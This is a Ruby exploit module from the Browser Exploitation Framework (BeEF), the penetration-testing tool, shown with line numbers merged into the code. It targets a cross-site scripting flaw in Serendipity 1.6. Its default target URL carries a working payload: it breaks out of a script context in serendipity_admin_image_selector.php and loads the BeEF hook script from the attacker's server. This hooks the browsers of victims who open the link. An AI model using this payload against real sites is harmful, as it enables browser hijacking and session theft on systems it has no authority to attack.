Path: blob/master/modules/exploits/xss/serendipity_1.6_xss/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Serendipity_1_6_xss < BeEF::Core::Command6def self.options7configuration = BeEF::Core::Configuration.instance8proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'9hook_file = configuration.get('beef.http.hook_file')10hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}"1112[13{ 'name' => 'uri', 'ui_label' => 'Target URL',14'value' => "http://target/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='\"</script><script src=\"#{hook_uri}\"></script>" }15]16end1718def post_execute19save({ 'result' => @datastore['result'] })20end21end222324